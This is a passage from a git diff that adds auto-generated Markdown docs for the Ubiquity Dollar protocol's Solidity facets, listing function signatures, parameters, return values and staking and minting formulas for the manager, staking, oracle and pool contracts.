+|----|----|-----------| +|`token`|`address`|Token address to check| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bool`|Whether `token` is one of the underlying MetaPool tokens or stablecoin from MetaPool| + + diff --git a/packages/contracts/docs/src/src/dollar/facets/DollarMintCalculatorFacet.sol/contract.DollarMintCalculatorFacet.md b/packages/contracts/docs/src/src/dollar/facets/DollarMintCalculatorFacet.sol/contract.DollarMintCalculatorFacet.md new file mode 100644 index 000000000..5dbb07704 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/facets/DollarMintCalculatorFacet.sol/contract.DollarMintCalculatorFacet.md @@ -0,0 +1,25 @@ +# DollarMintCalculatorFacet +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/facets/DollarMintCalculatorFacet.sol) + +**Inherits:** +[IDollarMintCalculator](/src/dollar/interfaces/IDollarMintCalculator.sol/interface.IDollarMintCalculator.md) + +Calculates amount of Dollars ready to be minted when TWAP price (i.e. Dollar price) > 1$ + + +## Functions +### getDollarsToMint + +Returns amount of Dollars to be minted based on formula `(TWAP_PRICE - 1) * DOLLAR_TOTAL_SUPPLY` + + +```solidity +function getDollarsToMint() external view override returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of Dollars to be minted| + + diff --git a/packages/contracts/docs/src/src/dollar/facets/DollarMintExcessFacet.sol/contract.DollarMintExcessFacet.md b/packages/contracts/docs/src/src/dollar/facets/DollarMintExcessFacet.sol/contract.DollarMintExcessFacet.md new file mode 100644 index 000000000..f8204c72b --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/facets/DollarMintExcessFacet.sol/contract.DollarMintExcessFacet.md @@ -0,0 +1,27 @@ +# DollarMintExcessFacet +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/facets/DollarMintExcessFacet.sol) + +**Inherits:** +[IDollarMintExcess](/src/dollar/interfaces/IDollarMintExcess.sol/interface.IDollarMintExcess.md) + +Contract facet for distributing excess Dollars when `mintClaimableDollars()` is called + +Excess Dollars are distributed this way: +- 50% goes to the treasury address +- 10% goes for burning Dollar-Governance LP tokens in a DEX pool +- 40% goes to the Staking contract + + +## Functions +### distributeDollars + +Distributes excess Dollars: +- 50% goes to the treasury address +- 10% goes for burning Dollar-Governance LP tokens in a DEX pool +- 40% goes to the Staking contract + + +```solidity +function distributeDollars() external override; +``` + diff --git a/packages/contracts/docs/src/src/dollar/facets/ManagerFacet.sol/contract.ManagerFacet.md b/packages/contracts/docs/src/src/dollar/facets/ManagerFacet.sol/contract.ManagerFacet.md new file mode 100644 index 000000000..b12beea2c --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/facets/ManagerFacet.sol/contract.ManagerFacet.md @@ -0,0 +1,657 @@ +# ManagerFacet +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/facets/ManagerFacet.sol) + +**Inherits:** +[Modifiers](/src/dollar/libraries/LibAppStorage.sol/contract.Modifiers.md) + +Facet for setting protocol parameters + + +## Functions +### setCreditTokenAddress + +Sets Credit token address + + +```solidity +function setCreditTokenAddress(address _creditTokenAddress) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_creditTokenAddress`|`address`|Credit token address| + + +### setDollarTokenAddress + +Sets Dollar token address + + +```solidity +function setDollarTokenAddress(address _dollarTokenAddress) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_dollarTokenAddress`|`address`|Dollar token address| + + +### setUbiquistickAddress + +Sets UbiquiStick address + + +```solidity +function setUbiquistickAddress(address _ubiquistickAddress) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_ubiquistickAddress`|`address`|UbiquiStick address| + + +### setCreditNftAddress + +Sets Credit NFT address + + +```solidity +function setCreditNftAddress(address _creditNftAddress) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_creditNftAddress`|`address`|Credit NFT address| + + +### setGovernanceTokenAddress + +Sets Governance token address + + +```solidity +function setGovernanceTokenAddress(address _governanceTokenAddress) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_governanceTokenAddress`|`address`|Governance token address| + + +### setSushiSwapPoolAddress + +Sets Sushi swap pool address (Dollar-Governance) + + +```solidity +function setSushiSwapPoolAddress(address _sushiSwapPoolAddress) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_sushiSwapPoolAddress`|`address`|Pool address| + + +### setDollarMintCalculatorAddress + +Sets Dollar mint calculator address + + +```solidity +function setDollarMintCalculatorAddress(address _dollarMintCalculatorAddress) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_dollarMintCalculatorAddress`|`address`|Dollar mint calculator address| + + +### setExcessDollarsDistributor + +Sets excess Dollars distributor address + + +```solidity +function setExcessDollarsDistributor(address creditNftManagerAddress, address dollarMintExcess) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`creditNftManagerAddress`|`address`|Credit NFT manager address| +|`dollarMintExcess`|`address`|Dollar distributor address| + + +### setMasterChefAddress + +Sets MasterChef address + + +```solidity +function setMasterChefAddress(address _masterChefAddress) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_masterChefAddress`|`address`|MasterChef address| + + +### setFormulasAddress + +Sets formulas address + + +```solidity +function setFormulasAddress(address _formulasAddress) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_formulasAddress`|`address`|Formulas address| + + +### setStakingShareAddress + +Sets staking share address + + +```solidity +function setStakingShareAddress(address _stakingShareAddress) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_stakingShareAddress`|`address`|Staking share address| + + +### setCurveDollarIncentiveAddress + +Sets Curve Dollar incentive address + + +```solidity +function setCurveDollarIncentiveAddress(address _curveDollarIncentiveAddress) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_curveDollarIncentiveAddress`|`address`|Curve Dollar incentive address| + + +### setStableSwapMetaPoolAddress + +Sets Curve Dollar-3CRV MetaPool address + + +```solidity +function setStableSwapMetaPoolAddress(address _stableSwapMetaPoolAddress) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_stableSwapMetaPoolAddress`|`address`|Curve Dollar-3CRV MetaPool address| + + +### setStableSwapPlainPoolAddress + +Sets Curve's Dollar-Stablecoin plain pool address + +*`_stableSwapPlainPoolAddress` is used to fetch Dollar price in USD* + + +```solidity +function setStableSwapPlainPoolAddress(address _stableSwapPlainPoolAddress) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_stableSwapPlainPoolAddress`|`address`|Curve's Dollar-Stablecoin plain pool address| + + +### setStakingContractAddress + +Sets staking contract address + +*Staking contract participants deposit Curve LP tokens +for a certain duration to earn Governance tokens and more Curve LP tokens* + + +```solidity +function setStakingContractAddress(address _stakingContractAddress) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_stakingContractAddress`|`address`|Staking contract address| + + +### setBondingCurveAddress + +Sets bonding curve address used for UbiquiStick minting + + +```solidity +function setBondingCurveAddress(address _bondingCurveAddress) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_bondingCurveAddress`|`address`|Bonding curve address| + + +### setBancorFormulaAddress + +Sets bancor formula address + +*Implied to be used for UbiquiStick minting* + + +```solidity +function setBancorFormulaAddress(address _bancorFormulaAddress) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_bancorFormulaAddress`|`address`|Bancor formula address| + + +### setTreasuryAddress + +Sets treasury address + +*Treasury fund is used to maintain the protocol* + + +```solidity +function setTreasuryAddress(address _treasuryAddress) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_treasuryAddress`|`address`|Treasury address| + + +### setIncentiveToDollar + +Sets incentive contract `_incentiveAddress` for `_account` address + + +```solidity +function setIncentiveToDollar(address _account, address _incentiveAddress) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_account`|`address`|Address for which to set an incentive contract| +|`_incentiveAddress`|`address`|Incentive contract address| + + +### deployStableSwapPool + +Deploys Curve MetaPool [Stablecoin, 3CRV LP] + +*From the curve documentation for uncollateralized algorithmic +stablecoins amplification should be 5-10* + + +```solidity +function deployStableSwapPool( + address _curveFactory, + address _crvBasePool, + address _crv3PoolTokenAddress, + uint256 _amplificationCoefficient, + uint256 _fee +) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_curveFactory`|`address`|Curve MetaPool factory address| +|`_crvBasePool`|`address`|Base pool address for MetaPool| +|`_crv3PoolTokenAddress`|`address`|Curve TriPool address| +|`_amplificationCoefficient`|`uint256`|Amplification coefficient. The smaller it is the closer to a constant product we are.| +|`_fee`|`uint256`|Trade fee, given as an integer with 1e10 precision| + + +### twapOracleAddress + +Returns Curve TWAP oracle address + + +```solidity +function twapOracleAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Curve TWAP oracle address| + + +### dollarTokenAddress + +Returns Dollar token address + + +```solidity +function dollarTokenAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Dollar token address| + + +### ubiquiStickAddress + +Returns UbiquiStick address + + +```solidity +function ubiquiStickAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|UbiquiStick address| + + +### creditTokenAddress + +Returns Credit token address + + +```solidity +function creditTokenAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Credit token address| + + +### creditNftAddress + +Returns Credit NFT address + + +```solidity +function creditNftAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Credit NFT address| + + +### governanceTokenAddress + +Returns Governance token address + + +```solidity +function governanceTokenAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Governance token address| + + +### sushiSwapPoolAddress + +Returns Sushi swap pool address for Dollar-Governance pair + + +```solidity +function sushiSwapPoolAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Pool address| + + +### creditCalculatorAddress + +Returns Credit redemption calculator address + + +```solidity +function creditCalculatorAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Credit redemption calculator address| + + +### creditNftCalculatorAddress + +Returns Credit NFT redemption calculator address + + +```solidity +function creditNftCalculatorAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Credit NFT redemption calculator address| + + +### dollarMintCalculatorAddress + +Returns Dollar mint calculator address + + +```solidity +function dollarMintCalculatorAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Dollar mint calculator address| + + +### excessDollarsDistributor + +Returns Dollar distributor address + + +```solidity +function excessDollarsDistributor(address _creditNftManagerAddress) external view returns (address); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_creditNftManagerAddress`|`address`|Credit NFT manager address| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Dollar distributor address| + + +### masterChefAddress + +Returns MasterChef address + + +```solidity +function masterChefAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|MasterChef address| + + +### formulasAddress + +Returns formulas address + + +```solidity +function formulasAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Formulas address| + + +### stakingShareAddress + +Returns staking share address + + +```solidity +function stakingShareAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Staking share address| + + +### stableSwapMetaPoolAddress + +Returns Curve MetaPool address for Dollar-3CRV LP pair + + +```solidity +function stableSwapMetaPoolAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Curve MetaPool address| + + +### stableSwapPlainPoolAddress + +Returns Curve's plain pool address for Dollar-Stablecoin pair + + +```solidity +function stableSwapPlainPoolAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Curve's plain pool address for Dollar-Stablecoin pair| + + +### stakingContractAddress + +Returns staking address + + +```solidity +function stakingContractAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Staking address| + + +### bondingCurveAddress + +Returns bonding curve address used for UbiquiStick minting + + +```solidity +function bondingCurveAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Bonding curve address| + + +### bancorFormulaAddress + +Returns Bancor formula address + +*Implied to be used for UbiquiStick minting* + + +```solidity +function bancorFormulaAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Bancor formula address| + + +### treasuryAddress + +Returns treasury address + + +```solidity +function treasuryAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Treasury address| + + +### curve3PoolTokenAddress + +Returns Curve TriPool 3CRV LP token address + + +```solidity +function curve3PoolTokenAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Curve TriPool 3CRV LP token address| + + diff --git a/packages/contracts/docs/src/src/dollar/facets/OwnershipFacet.sol/contract.OwnershipFacet.md b/packages/contracts/docs/src/src/dollar/facets/OwnershipFacet.sol/contract.OwnershipFacet.md new file mode 100644 index 000000000..bab9bcad1 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/facets/OwnershipFacet.sol/contract.OwnershipFacet.md @@ -0,0 +1,42 @@ +# OwnershipFacet +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/facets/OwnershipFacet.sol) + +**Inherits:** +[IERC173](/src/dollar/interfaces/IERC173.sol/interface.IERC173.md) + +Used for managing contract's owner + + +## Functions +### transferOwnership + +Sets contract's owner to a new address + +*Set _newOwner to address(0) to renounce any ownership* + + +```solidity +function transferOwnership(address _newOwner) external override; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_newOwner`|`address`|The address of the new owner of the contract| + + +### owner + +Returns owner's address + + +```solidity +function owner() external view override returns (address owner_); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`owner_`|`address`|Owner address| + + diff --git a/packages/contracts/docs/src/src/dollar/facets/README.md b/packages/contracts/docs/src/src/dollar/facets/README.md new file mode 100644 index 000000000..a1a9b88c7 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/facets/README.md @@ -0,0 +1,22 @@ + + +# Contents +- [AccessControlFacet](AccessControlFacet.sol/contract.AccessControlFacet.md) +- [BondingCurveFacet](BondingCurveFacet.sol/contract.BondingCurveFacet.md) +- [ChefFacet](ChefFacet.sol/contract.ChefFacet.md) +- [CollectableDustFacet](CollectableDustFacet.sol/contract.CollectableDustFacet.md) +- [CreditClockFacet](CreditClockFacet.sol/contract.CreditClockFacet.md) +- [CreditNftManagerFacet](CreditNftManagerFacet.sol/contract.CreditNftManagerFacet.md) +- [CreditNftRedemptionCalculatorFacet](CreditNftRedemptionCalculatorFacet.sol/contract.CreditNftRedemptionCalculatorFacet.md) +- [CreditRedemptionCalculatorFacet](CreditRedemptionCalculatorFacet.sol/contract.CreditRedemptionCalculatorFacet.md) +- [CurveDollarIncentiveFacet](CurveDollarIncentiveFacet.sol/contract.CurveDollarIncentiveFacet.md) +- [DiamondCutFacet](DiamondCutFacet.sol/contract.DiamondCutFacet.md) +- [DiamondLoupeFacet](DiamondLoupeFacet.sol/contract.DiamondLoupeFacet.md) +- [DirectGovernanceFarmerFacet](DirectGovernanceFarmerFacet.sol/contract.DirectGovernanceFarmerFacet.md) +- [DollarMintCalculatorFacet](DollarMintCalculatorFacet.sol/contract.DollarMintCalculatorFacet.md) +- [DollarMintExcessFacet](DollarMintExcessFacet.sol/contract.DollarMintExcessFacet.md) +- [ManagerFacet](ManagerFacet.sol/contract.ManagerFacet.md) +- [OwnershipFacet](OwnershipFacet.sol/contract.OwnershipFacet.md) +- [StakingFacet](StakingFacet.sol/contract.StakingFacet.md) +- [StakingFormulasFacet](StakingFormulasFacet.sol/contract.StakingFormulasFacet.md) +- [UbiquityPoolFacet](UbiquityPoolFacet.sol/contract.UbiquityPoolFacet.md) diff --git a/packages/contracts/docs/src/src/dollar/facets/StakingFacet.sol/contract.StakingFacet.md b/packages/contracts/docs/src/src/dollar/facets/StakingFacet.sol/contract.StakingFacet.md new file mode 100644 index 000000000..0b0473e2f --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/facets/StakingFacet.sol/contract.StakingFacet.md @@ -0,0 +1,227 @@ +# StakingFacet +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/facets/StakingFacet.sol) + +**Inherits:** +[Modifiers](/src/dollar/libraries/LibAppStorage.sol/contract.Modifiers.md), [IStaking](/src/dollar/interfaces/IStaking.sol/interface.IStaking.md) + +Staking facet + + +## Functions +### dollarPriceReset + +Removes Ubiquity Dollar unilaterally from the curve LP share sitting inside +the staking contract and sends the Ubiquity Dollar received to the treasury. This will +have the immediate effect of pushing the Ubiquity Dollar price HIGHER + +It will remove one coin only from the curve LP share sitting in the staking contract + + +```solidity +function dollarPriceReset(uint256 amount) external onlyStakingManager; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amount`|`uint256`|Amount of LP token to be removed for Ubiquity Dollar| + + +### crvPriceReset + +Remove 3CRV unilaterally from the curve LP share sitting inside +the staking contract and send the 3CRV received to the treasury. This will +have the immediate effect of pushing the Ubiquity Dollar price LOWER. + +It will remove one coin only from the curve LP share sitting in the staking contract + + +```solidity +function crvPriceReset(uint256 amount) external onlyStakingManager; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amount`|`uint256`|Amount of LP token to be removed for 3CRV tokens| + + +### setStakingDiscountMultiplier + +Sets staking discount multiplier + + +```solidity +function setStakingDiscountMultiplier(uint256 _stakingDiscountMultiplier) external onlyStakingManager; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_stakingDiscountMultiplier`|`uint256`|New staking discount multiplier| + + +### stakingDiscountMultiplier + +Returns staking discount multiplier + + +```solidity +function stakingDiscountMultiplier() external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Staking discount multiplier| + + +### blockCountInAWeek + +Returns number of blocks in a week + + +```solidity +function blockCountInAWeek() external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Number of blocks in a week| + + +### setBlockCountInAWeek + +Sets number of blocks in a week + + +```solidity +function setBlockCountInAWeek(uint256 _blockCountInAWeek) external onlyStakingManager; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_blockCountInAWeek`|`uint256`|Number of blocks in a week| + + +### deposit + +Deposits UbiquityDollar-3CRV LP tokens for a duration to receive staking shares + +Weeks act as a multiplier for the amount of staking shares to be received + + +```solidity +function deposit(uint256 _lpsAmount, uint256 _weeks) external whenNotPaused returns (uint256 _id); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_lpsAmount`|`uint256`|Amount of LP tokens to send| +|`_weeks`|`uint256`|Number of weeks during which LP tokens will be held| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`_id`|`uint256`|Staking share id| + + +### addLiquidity + +Adds an amount of UbiquityDollar-3CRV LP tokens + +Staking shares are ERC1155 (aka NFT) because they have an expiration date + + +```solidity +function addLiquidity(uint256 _amount, uint256 _id, uint256 _weeks) external whenNotPaused; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_amount`|`uint256`|Amount of LP token to deposit| +|`_id`|`uint256`|Staking share id| +|`_weeks`|`uint256`|Number of weeks during which LP tokens will be held| + + +### removeLiquidity + +Removes an amount of UbiquityDollar-3CRV LP tokens + +Staking shares are ERC1155 (aka NFT) because they have an expiration date + + +```solidity +function removeLiquidity(uint256 _amount, uint256 _id) external whenNotPaused; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_amount`|`uint256`|Amount of LP token deposited when `_id` was created to be withdrawn| +|`_id`|`uint256`|Staking share id| + + +### pendingLpRewards + +View function to see pending LP rewards on frontend + + +```solidity +function pendingLpRewards(uint256 _id) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_id`|`uint256`|Staking share id| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of LP rewards| + + +### lpRewardForShares + +Returns the amount of LP token rewards an amount of shares entitled + + +```solidity +function lpRewardForShares(uint256 amount, uint256 lpRewardDebt) external view returns (uint256 pendingLpReward); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amount`|`uint256`|Amount of staking shares| +|`lpRewardDebt`|`uint256`|Amount of LP rewards that have already been distributed| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`pendingLpReward`|`uint256`|Amount of pending LP rewards| + + +### currentShareValue + +Returns current share price + + +```solidity +function currentShareValue() external view returns (uint256 priceShare); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`priceShare`|`uint256`|Share price| + + diff --git a/packages/contracts/docs/src/src/dollar/facets/StakingFormulasFacet.sol/contract.StakingFormulasFacet.md b/packages/contracts/docs/src/src/dollar/facets/StakingFormulasFacet.sol/contract.StakingFormulasFacet.md new file mode 100644 index 000000000..c94a3a6a5 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/facets/StakingFormulasFacet.sol/contract.StakingFormulasFacet.md @@ -0,0 +1,158 @@ +# StakingFormulasFacet +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/facets/StakingFormulasFacet.sol) + +**Inherits:** +[IUbiquityFormulas](/src/dollar/interfaces/IUbiquityFormulas.sol/interface.IUbiquityFormulas.md) + +Contract facet staking formulas + + +## Functions +### sharesForLP + +Formula of governance rights corresponding to a staking shares LP amount + +Used on removing liquidity from staking + +`shares = (stake.shares * _amount) / stake.lpAmount` + + +```solidity +function sharesForLP(StakingShare.Stake memory _stake, uint256[2] memory _shareInfo, uint256 _amount) + external + pure + returns (uint256 _uLP); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_stake`|`StakingShare.Stake`|Stake info of staking share| +|`_shareInfo`|`uint256[2]`|Array of share amounts| +|`_amount`|`uint256`|Amount of LP tokens| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`_uLP`|`uint256`|Amount of shares| + + +### lpRewardsRemoveLiquidityNormalization + +Formula may add a decreasing rewards if locking end is near when removing liquidity + +`rewards = _amount` + + +```solidity +function lpRewardsRemoveLiquidityNormalization( + StakingShare.Stake memory _stake, + uint256[2] memory _shareInfo, + uint256 _amount +) external pure returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_stake`|`StakingShare.Stake`|Stake info of staking share| +|`_shareInfo`|`uint256[2]`|Array of share amounts| +|`_amount`|`uint256`|Amount of LP tokens| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of LP rewards| + + +### lpRewardsAddLiquidityNormalization + +Formula may add a decreasing rewards if locking end is near when adding liquidity + +`rewards = _amount` + + +```solidity +function lpRewardsAddLiquidityNormalization( + StakingShare.Stake memory _stake, + uint256[2] memory _shareInfo, + uint256 _amount +) external pure returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_stake`|`StakingShare.Stake`|Stake info of staking share| +|`_shareInfo`|`uint256[2]`|Array of share amounts| +|`_amount`|`uint256`|Amount of LP tokens| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of LP rewards| + + +### correctedAmountToWithdraw + +Formula to calculate the corrected amount to withdraw based on the proportion of +LP deposited against actual LP tokens in the staking contract + +`corrected_amount = amount * (stakingLpBalance / totalLpDeposited)` + +If there is more or the same amount of LP than deposited then do nothing + + +```solidity +function correctedAmountToWithdraw(uint256 _totalLpDeposited, uint256 _stakingLpBalance, uint256 _amount) + external + pure + returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_totalLpDeposited`|`uint256`|Total amount of LP deposited by users| +|`_stakingLpBalance`|`uint256`|Actual staking contract LP tokens balance minus LP rewards| +|`_amount`|`uint256`|Amount of LP tokens| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of LP tokens to redeem| + + +### durationMultiply + +Formula duration multiply + +`_shares = (1 + _multiplier * _weeks^3/2) * _uLP` + +`D32 = D^3/2` + +`S = m * D32 * A + A` + + +```solidity +function durationMultiply(uint256 _uLP, uint256 _weeks, uint256 _multiplier) external pure returns (uint256 _shares); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_uLP`|`uint256`|Amount of LP tokens| +|`_weeks`|`uint256`|Minimum duration of staking period| +|`_multiplier`|`uint256`|Staking discount multiplier = 0.0001| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`_shares`|`uint256`|Amount of shares| + + diff --git a/packages/contracts/docs/src/src/dollar/facets/TWAPOracleDollar3poolFacet.sol/contract.TWAPOracleDollar3poolFacet.md b/packages/contracts/docs/src/src/dollar/facets/TWAPOracleDollar3poolFacet.sol/contract.TWAPOracleDollar3poolFacet.md new file mode 100644 index 000000000..5c86ffc02 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/facets/TWAPOracleDollar3poolFacet.sol/contract.TWAPOracleDollar3poolFacet.md @@ -0,0 +1,66 @@ +# TWAPOracleDollar3poolFacet +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/4924ab0035521e70625d704791f5b260a4713327/src/dollar/facets/TWAPOracleDollar3poolFacet.sol) + +**Inherits:** +[Modifiers](/src/dollar/libraries/LibAppStorage.sol/contract.Modifiers.md), [ITWAPOracleDollar3pool](/src/dollar/interfaces/ITWAPOracleDollar3pool.sol/interface.ITWAPOracleDollar3pool.md) + +Facet used for Curve TWAP oracle in the Dollar MetaPool + + +## Functions +### setPool + +Sets Curve MetaPool to be used as a TWAP oracle + + +```solidity +function setPool(address _pool, address _curve3CRVToken1) external onlyOwner; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_pool`|`address`|Curve MetaPool address, pool for 2 tokens [Dollar, 3CRV LP]| +|`_curve3CRVToken1`|`address`|Curve 3Pool LP token address| + + +### update + +Updates the following state variables to the latest values from MetaPool: +- Dollar / 3CRV LP quote +- 3CRV LP / Dollar quote +- cumulative prices +- update timestamp + + +```solidity +function update() external; +``` + +### consult + +Returns the quote for the provided `token` address + +If the `token` param is Dollar then returns 3CRV LP / Dollar quote + +If the `token` param is 3CRV LP then returns Dollar / 3CRV LP quote + +*This will always return 0 before update has been called successfully for the first time* + + +```solidity +function consult(address token) external view returns (uint256 amountOut); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`token`|`address`|Token address| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`amountOut`|`uint256`|Token price, Dollar / 3CRV LP or 3CRV LP / Dollar quote| + + diff --git a/packages/contracts/docs/src/src/dollar/facets/UbiquityPoolFacet.sol/contract.UbiquityPoolFacet.md b/packages/contracts/docs/src/src/dollar/facets/UbiquityPoolFacet.sol/contract.UbiquityPoolFacet.md new file mode 100644 index 000000000..f3099a063 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/facets/UbiquityPoolFacet.sol/contract.UbiquityPoolFacet.md @@ -0,0 +1,619 @@ +# UbiquityPoolFacet +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/facets/UbiquityPoolFacet.sol) + +**Inherits:** +[IUbiquityPool](/src/dollar/interfaces/IUbiquityPool.sol/interface.IUbiquityPool.md), [Modifiers](/src/dollar/libraries/LibAppStorage.sol/contract.Modifiers.md) + +Ubiquity pool facet + +Allows users to: +- deposit collateral in exchange for Ubiquity Dollars +- redeem Ubiquity Dollars in exchange for the earlier provided collateral + + +## Functions +### allCollaterals + +Returns all collateral addresses + + +```solidity +function allCollaterals() external view returns (address[] memory); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address[]`|All collateral addresses| + + +### collateralInformation + +Returns collateral information + + +```solidity +function collateralInformation(address collateralAddress) + external + view + returns (LibUbiquityPool.CollateralInformation memory returnData); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralAddress`|`address`|Address of the collateral token| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`returnData`|`LibUbiquityPool.CollateralInformation`|Collateral info| + + +### collateralRatio + +Returns current collateral ratio + + +```solidity +function collateralRatio() external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Collateral 